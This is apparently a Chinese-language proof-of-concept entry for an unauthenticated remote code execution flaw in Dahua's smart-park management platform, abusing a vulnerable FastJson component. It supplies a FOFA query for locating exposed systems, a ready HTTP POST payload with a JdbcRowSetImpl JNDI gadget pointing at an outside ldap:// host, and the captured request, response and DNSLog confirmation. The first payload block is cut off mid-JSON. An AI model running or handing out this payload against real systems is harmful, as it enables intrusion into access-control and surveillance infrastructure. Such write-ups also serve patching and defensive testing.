

# D2-9大华-智慧园区综合管理平台-RCE

## 漏洞述：

由于大华智慧园区综合管理平台使用了存在漏洞的FastJson组件,未经身份验证的攻击者可利用/CardSolution/card/face/sendFaceInfo接口发送恶意的序列化数据执行任意指令，造成代码执行。

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: app="dahua-智慧园区综合管理平台"

## 漏洞复现：

### payload:

```
POST /CardSolution/card/face/sendFaceInfo HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Encoding: gzip
Connection: close
Content-Type: application/json

{"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://7iuvk4.dnslog.cn",
```

### 效果图:

#### Dnslog验证

Request		Responses	
<pre>1 POST /CardSolution/card/face/sendFaceInfo HTTP/1.1 2 Host: 8009 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 4 Accept-Encoding: gzip 5 Connection: close 6 Content-Type: application/json 7 8 {"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://7iuvk4.dnslog.cn","autoCommit":true}}}</pre>		<pre>1 HTTP/1.1 200 OK 2 Server: Apache-Coyote/1.1 3 Set-Cookie: JSESSIONID=39FEE16DD82C3D118F 4 Cache-Control: no-cache, no-store, must-revalidate 5 Pragma: no-cache 6 Expires: Thu, 01-Jan-1970 00:00:00 GMT 7 Content-Type: application/json; charset=utf-8 8 Date: Mon, 05-Feb-2024 12:06:47 GMT 9 Connection: close 10 Content-Length: 59 11 12 {"errMse":{"set-property:erron:autoCommit"}}</pre>	

内置 自定义 内置DNSLog: dnslog.cn 使用本地: 生成一个可用域名

当前激活域名为  
7iuy

只看A记录: 自动刷新记录:

	域名	DNS类型	远端IP	Timestamp
+	7iuy	A		2024-02-06 04:04:37